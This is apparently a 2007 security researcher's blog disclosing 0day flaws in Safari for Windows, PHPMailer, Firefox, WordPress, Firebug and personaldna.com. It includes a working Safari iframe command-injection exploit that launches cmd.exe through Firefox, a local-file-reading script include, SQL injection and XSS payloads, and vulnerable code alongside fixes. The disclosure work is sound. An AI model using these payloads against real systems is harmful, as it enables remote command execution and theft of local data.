Larholm.com

Me, myself and I

June 27th, 2007

PHPMailer security updates

On June 11 I published an input validation vulnerability in PHPMailer, CVE-2007-3215. Since then, a number of applications have manually patched their PHPMailer source files and released updates.

Unfortunately, PHPMailer itself has not released an official update and is still being distributed with the vulnerable version 1.73 source files.

Judas Iscariote from the Swift Mailer project added a patch file to my original bug report (1734811), which seems to have been the most widely circulated manual patch.

I guess we can safely assume that PHPMailer is now a dormant project, which should be abandoned in favor of actively maintained projects such as Switch Mailer that from the looks of it has a more structured approach to security :)

June 14th, 2007

Safari 3.01 released

Apple has just released version 3.01 of their Safari web browser, together with some release notes on their Security-announce mailing list. As you can see from those release notes the vulnerability that I discovered is one out of three that have been fixed, and as far as I can tell right now the vulnerability has indeed been fixed.

Quotes and whitespace is now filtered on any requests to external URL protocol handler applications, but other characters are still being passed without filtering so I expect to find some variations pretty soon :)

I want to congratulate Apple for fixing a serious security vulnerability in such a short time frame. Their usual response time can be counted in weeks to months. When I emailed them about the vulnerability it took them 2 days to even respond, which only happened after I asked for a non-automated reply. When I filed a bug on the WebKit tracker, bug 1481, nothing happened for a day except that some guy from ‘gentlyusedunderwear.com’ added himself to CC.

A beta version stays at the same version number until it is complete, so I guess this is positive confirmation that Safari 3 is not intended as a beta release.

As for myself, I am currently at work and will have to wait for some hours before I can dig really deep into the updated version of Safari.

Cheers :)

June 12th, 2007

Safari for Windows, 0day exploit in 2 hours

Apple released version 3 of their popular Safari web browser today, with the added twist of offering both an OS X and a Windows version. Given that Apple has had a lousy track record with security on OS X, in addition to a hostile attitude towards security researchers, a lot of people are expecting to see quite a number of vulnerabilities targeted towards this new Windows browser.

I downloaded and installed Safari for Windows 2 hours ago, when I started writing this, and I now have a fully functional command execution vulnerability, triggered without user interaction simply by visiting a web site. I will not sell this one to ZDI or iDefense but instead release it here, as I have done lately with a number of 0day vulnerabilities. This place is where you get my latest research :)

A bunch of other security researchers such as David Maynor and Aviv Raff have been pounding safariWin with their fuzzing tools, going through thousands upon thousands of test pages in the hopes of triggering some form of memory corruption for potential exploitation. I am a big fan of fuzzing and believe it can produce some tremendous results, but sometimes good old fashioned application specific knowledge can get you far.

The logic behind this vulnerability is quite simple and the vulnerability class has been known and understood for years, namely that of protocol handler command injection. A browser typically consists of a multitude of different URL schemes, some of which are handled by internal functions and others that are handed off to external applications. On the OS X platform Apple has enjoyed the same luxury and the same curse as Internet Explorer has had on the Windows platform, namely intimate operating system knowledge. The integration with the originally intended operating system is tightly defined, but the breadth of knowledge is crippled when the software is released on other systems and mistakes and mishaps occur. You can still find references to the OS X proprietary URL protocols open-help-anchor: and network-diagnostics: inside the resource files for the Windows release.

URL protocol handlers on the Windows platform work by executing a process with specific command line arguments. When Apple released Safari for the Windows platform they neglected to implement a proper level of input validation for these arguments, which means that you can break out of the intended confines and wreak havoc. A typical request for a URL such as myprotocol://someserver.com/someargument would be turned into a command line resembling the following.

“C:\Program Files\My Application\myprotocol.exe” “someserver.com/someargument”

This works almost as expected in Safari. With a simple link you cannot pass along arbitrary characters to the command line which is later executed and most attempts at doing so will simply be URL escape, such that myprotocol://someserver.com/some"[SPACE]argument is turned into

“C:\Program Files\My Application\myprotocol.exe” “someserver.com/some”%20argument

This cannot be used to exploit Safari as the command line to be executed is simply invalid. However, Safari does not properly validate the input when these same requests are handled through IFRAME elements, such as

<iframe src=’myprotocol://someserver.com” < foo > bar | foobar “arg1′></iframe>

which is turned into the following command line.

“C:\Program Files\My Application\myprotocol.exe” “someserver.com” < foo > bar | foobar “arg1″

As the knowledgeable reader might have noticed we now have everything we need to implement an attack against the entire range of available URL protocol handlers on the Windows platform. We could pick the telnet or callto protocols and provide unfiltered input to an argument of our choice. For this demonstration I have opted to attempt an exploit against the gopher: URL protocol which is handled by my local Firefox installation. We hash together an example request..

<iframe src=’gopher://larholm.com” |cmd /c echo “FOO’></iframe>

..Fire up procexp, launch safari and watch the output.

“C:\PROGRA~1\MOZILL~3\FIREFOX.EXE” -url “gopher://larholm.com” |cmd /c echo “FOO” -requestPending

Now this might be fun enough, but what if we wanted something a bit more customizable? Firefox is built on top of the Mozilla XPCOM platform and we might as well use some of these capable interfaces at our disposal to handle process instantiation. The code we want to execute is the following.

C=Components.classes;I=Components.interfaces;
file=C['@mozilla.org/file/local;1'].createInstance(I.nsILocalFile);
file.initWithPath(‘C:\\windows\\system32\\cmd.exe’);
process=C['@mozilla.org/process/util;1'].createInstance(I.nsIProcess);
process.init(file);
process.run(true,{},0);
alert(process);

Due to the levels of URL escaping the following might be a bit confusing to read, but feel free to dissect it for your own variations.


<iframe src='gopher://larholm.com" -chrome "javascript:C=Components.classes;I=Components.interfaces;
file=C['@mozilla.org/file/local;1'].createInstance(I.nsILocalFile);
file.initWithPath('C:'+String.fromCharCode(92)
+String.fromCharCode(92)+'Windows'
+String.fromCharCode(92)+String.fromCharCode(92)+'System32'
+String.fromCharCode(92)+String.fromCharCode(92)+'cmd.exe');
process=C['@mozilla.org/process/util;1'].createInstance(I.nsIProcess);
process.init(file);
process.run(true,{},0);alert(process)'></iframe<

And there you have it, command execution. A fully functional PoC exploit is located below. Warning: This WILL crash your Safari browser on Windows. Close any existing Firefox processes that you might currently be running, then navigate Safari to the following page.

http://www.larholm.com/vuln/safaripoc.html

The above PoC exploit will exploit Safari by bouncing through Firefox via the Gopher protocol, passing on unfiltered input for the -chrome argument that Firefox exposes. When it has done this it will launch C:\Windows\System32\cmd.exe with any arguments that have been specified in the call to the process.run method.

It is important to know that, even though this PoC exploit uses Firefox, the actual vulnerability is within the lack of input validation for the command line arguments handed to the various URL protocol handlers on your machine. As such, there are a lot of different attack vectors for this vulnerability, I simply chose Firefox and the Gopher URL protocol because I was familiar with these.

I hope you enjoyed the fruits of my 2 hours of labour. Please feel free to add my RSS feed to your reader and come back again tomorrow or next week for a fresh batch of 0day vulnerabilities :)

Cheers
Thor Larholm

UPDATE
The site was down for a couple of hours due to Slashdot, TechMeme and Reddit.

June 11th, 2007

PHPMailer 0day remote command execution

PHPMailer is a widely deployed utility class used in PHP application to handle emails sent through sendmail, PHP mailto() or SMTP. It is used in PHP applications such as WordPress, Mantis, WebCalendar, Group-Office and Joomla. The last official release happened on July 11, 2005.

If you have configured PHPMailer to use sendmail it has a remote command execution vulnerability due to a lack of input validation. sendmail is queried through the popen function which is called with a string constructed from non-escaped user input.

Line 393 in the SendmailSend function in class.phpmailer.php has the vulnerable code. If the Sender property is set by the initiating script it is possible to execute arbitrary commands.

if ($this->Sender != "")
    $sendmail = sprintf("%s -oi -f %s -t", $this->Sendmail, $this->Sender);
else
    $sendmail = sprintf("%s -oi -t", $this->Sendmail);

if(!@$mail = popen($sendmail, "w"))

The Sender property is most typically set in the host application by reading the value of the e-mail field or comment forms, which is where most attack vectors will be found.

The solution of course is to properly escape the input with the escapeshellarg() or escapeshellcmd() functions.

Alternatively, you can enable the PHP feature safe_mode, though many PHP applications such as the TinyMCE spellchecker in WordPress will break as a result of this. The safe_mode documentation comes with a warning of its own:

The PHP safe mode is an attempt to solve the shared-server security problem. It is architecturally incorrect to try to solve this problem at the PHP level, but since the alternatives at the web server and OS levels aren’t very realistic, many people, especially ISP’s, use safe mode for now.

I have notified PHPMailer about this on their SourceForge bug tracker, see issue 1734811 :)

June 4th, 2007

Unpatched input validation flaw in Firefox 2.0.0.4

(For my german Heise visitors: Bleibt doch mal ein bischen und abonniert mein Feed, ich werde zusätzliche Schwachstellen veröffentlichen).

The patch from Bugzilla report 367428 that was introduced in Firefox 2.0.0.4 accidentally opens up the resource protocol to a separate input validation flaw. But first, a recap.

There were a number of interesting comments on my previous post, Firefox 0day local file reading. Checking the current Windows patch status was suggested by Sergey Vzloman and H D Moore highlighted what has now become general knowledge – that the directory traversal vulnerability in Firefox 2.0.0.3 is still present in the updated Firefox 2.0.0.4 under Linux/Unix and OS X.

The patch only closes the directory traversal aspect on Windows. You can still read local files in Firefox 2.0.0.4 on Windows, but it is now limited to the files within your Firefox installation directory such as update.xml and install.log that reveal your current Firefox patch status. It is still possible to determine the local installation path and query for the installation status of arbitrary plugin DLL’s, as I demonstrated with the PoC in my previous post. Non-Windows operating systems are still vulnerable to the full directory traversal vulnerability, allowing you to read any local files that your user account can reach.

Before the 2.0.0.4 patch the input to nsResProtocolHandler::ResolveURI was already checked to prevent any : characters from sneaking in, which can allow absolute URI references such as “res:C:boot.ini” or “res:http://www.google.com/”. This check is still in place in lines 334 to 336.

    // Don't misinterpret the filepath as an absolute URI.
    if (filepath.FindChar(':') != -1)
        return NS_ERROR_MALFORMED_URI;

Since the previous directory traversal vulnerability depended on URL-escaped characters such as %5C to work the patch added the currently present lines 338 to 340.

    NS_UnescapeURL(filepath);
    if (filepath.FindChar('\\') != -1)
        return NS_ERROR_MALFORMED_URI;

Since the filepath is now unescaped after the check for a : character has occurred, it is possible to inject : characters with the URL-escaped version %3A.

A non-malicious example request that can be used for verification is the following link include, which passes on unfiltered : characters to the host file system.

<link rel="stylesheet" href="resource://gre/browserconfig%3A.properties" />

It is also possible to pass on @ characters to the host file system, which at least on the Windows platform can be used to implement Basic Authentication style URI’s.

There are some odd URI resolver logic in nsIStandard::Resolve that I will still have to look into. Under some circumstances on Windows, I can get / characters translated into \ characters and have triple dots translated into double dots, which will once again allow the full directory traversal vulnerability. However, the output is flaky at best and I will have to do some tedious single stepping through the URI resolver logic code to determine at what point the input is unescaped twice :)

May 25th, 2007

Firefox 0day local file reading

RSnake mentioned a potential way to read security sensitive configuration settings from Firefox on ha.ckers.org, with an example PoC from Sergey Vzloman that used the resource:// URL protocol handler in Firefox. Unfortunately, the settings that were read were the default settings inside the Firefox install directory.

An example resource URL would be resource://gre/greprefs/security-prefs.js which reads the security-prefs.js file from your Firefox install directory, which on Windows could be C:\Program Files\Mozilla Firefox\greprefs\security-prefs.js. Mozilla must have acknowledged the potential for directory traversal here, as they have blocked any attempts at including the string ..\ or ../ inside resource: requests.

BK demonstrated in the thread that Mozilla does not properly sanitize the input properly, and that you can circumvent this restriction by using ..%5C instead of ..\ which means that you can read arbitrary files from the local system by exposing the file contents as readable properties on SCRIPT or CSS tags.

For the sake of a demonstration, let’s assume that you have a file called C:\resource.txt that contains

secretinfo = “steal me”

In this case you could expose the local file content to your website with the following script include.

<script src=”resource://gre/..%5C..%5Cresource.txt”></script>

This would expose the secretinfo as a Javascript variable. If you are uncertain of the Firefox installation directory you can always append additional directory traversal separators, but see below for more on that.

Daniel Veditz opened up the ongoing Bugzilla report #367428, given that this is now being discussed in public, and from that report we can see that Mozilla has been struggling to fix this vulnerability since January 18 2007. We can also see that the currently proposed patches are only sanitizing input for the Windows platform and that Linux and Mac directory traversals have not been addressed.

It is good to see that Mozilla has picked up the pace now that this is public knowledge. However, even after they fix the directory traversal vulnerability we can still use the resource protocol to query and read any file inside the Firefox installation directory. This includes reading the update.xml, install.log or even browserconfig.properties which contains your homepage settings. It also allows us to query for the status of any installed plugin.

I don’t want to help out scrupulous advertisers with a ready-to-use script that hands them my homepage setting, so instead I have put up a simple PoC that demonstrates how to read your local Firefox install directory and the status of a few plugins. You can find that at http://larholm.com/misc/ffresourcefile.html :)

Regardless of how we look at this you can expect to see a Firefox 2.0.0.4 release very soon. My hope is, regardless of what patch makes into the source tree, that access to the entire resource:// URL protocol handler is blocked for Internet sites.

UPDATE June 11 2007.

Remember to read the follow-up post with details about the patch in firefox 2.0.0.4, http://larholm.com/2007/06/04/unpatched-input-validation-flaw-in-firefox-2004/.

I would also like to point out that Aviv Raff was the first to discover the “.sheet.href” vulnerability component in his post on ha.ckers.org, which is crucial for parsing text from the requested resource :)

May 22nd, 2007

WordPress 0day vulnerabilities

WordPress is a widely used blogging tool that has a huge array of nifty features even in the default installation. If that is not enough then there are thousands of interesting, useful and quirky plugins that can be used to enhance it. It is one of the most prevalent blogging tools on the Internet, with millions of installations maintained by individuals and corporations and is the preferred choice of many webhosting companies. I use it myself on Larholm.com, which is why it saddens me to now see it riddled with holes.

The pluggable.php source file in the wp-includes directory has a number of SQL injection vulnerabilities. The first to be reported today was from line 294

$cookie = explode(‘; ‘, urldecode(empty($_POST['cookie']) ? $_GET['cookie'] : $_POST['cookie']));

The reason why this is bad is because the user and password parts of the cookie is then passed to the wp_login function which calls get_userdatabylogin with the username. Since we can control the contents of the cookie we can control the $userlogin variable inside get_userdatabylogin, which is then used in line 126

if ( !$user = $wpdb->get_row(“SELECT * FROM $wpdb->users WHERE user_login = ‘$user_login’”) )

The wp_login function is called with our arbitrary input in several places which provide multiple attack vectors, from the get_currentuserinfo, auth_redirect and check_ajax_referer functions.

It’s simple enough to fix while we wait for an official upgrade from WordPress, just add $user_login = mysql_real_escape_string($user_login); before the SQL query. A far safer solution would be to bind all of the SQL input through prepared statements and specific input types.

The sad thing is that there are other potential SQL injection vulnerabilities in the WordPress code. And while the rest of you are looking for those I am chilling with ascii` on IRC looking through the WordPress mailer code which seems to have a direct command execution vulnerability :)

April 8th, 2007

Thor, the Benevolent Leader

I am always amused when I take a personality test. I find it easy to discern the reasoning behind the questions and more often than not I disagree with the wording of specific questions. Just today, I found an interesting test with some funky sliders and graphs at personaldna.com, and the results are in:

And there you have it, I am a very manly and functional Benevolent Leader with low Authoritarianism. You can hover those individual color bars for an explanation of each.

Coincidentally, I am not a big fan of having Benevolent Leader turned into a link that points at personaldna.com as I have already been kind enough to link their way. So how do we remove this link but retain the hover functionality? If you’re curious the script code for embedding the above color bar is:

<script src=”http://personaldna.com/h/?k=ajbecRqMlZIdRcZ-OO-AAAAA-b077&t=Benevolent+Leader”>
</script>

There is a lack of input validation of the t parameter which enables a XSS vulnerability on personaldna.com. If you specify t=Benevolent+Leader',true);alert(location)// you are overwriting their script logic. If you specify t=</a>Benevolent+Leader you are injecting HTML. A properly URL encoded parameter would be t=%3C/a%3EBenevolent+Leader".

So there you have it, the same colored bar but without a link on the text portion :)

April 6th, 2007

More 0day in Firebug

As I promised in my previous post I would be detailing a fresh 0day vulnerability in Firebug for my next post. Well, this is that post, or if you’ve just read the Hitch Hikers Guide to the Galaxy, that will be this post in the future which is now.

The culprit in the previous vulnerability was a lack of HTML escaping which allowed you to inject arbitrary HTML and Javascript into the Chrome context from which Firebug operates. Once you are running script with Chrome privileges you can do pretty much anything, open listening ports, send email, read/write/execute files – your typical system compromise.

Read the rest of this entry »

April 6th, 2007

0day vulnerability in Firebug

I’m posting a fresh 0day vulnerability in Firebug in my next post! But first, an analysis of the current 0day vulnerability:

Firebug is a very popular web application development tool that comes in quite handy when debugging HTML, CSS and Javascript. It’s intuitively easy to use, has got great features such as console logging and live debugging of XMLHTTPRequest queries and it gets the Thumb Up from Thor – I use it daily.

It seems that pdp over at gnucitizen discovered a 0day vulnerability in Firebug. Joe Hewitt, the author of Firebug, has published an entry on his blog about the Firebug v1.0.2 and v1.0.3 updates that he released in response.

Firebug is a great tool and Joe Hewitt is a fine developer, but when you combine the inherent lack of separation between trusted and untrusted content in Firefox with a development tool that exposes near-direct access to its custom-built HTML construction logic you will inevitably end up with some security vulnerabilities. The Javascript chrome code inside Firebug comes in at roughly 700KB, a large portion of which deals with the function oriented tag construction logic that Joe decided to implement in Firebug.

Read the rest of this entry »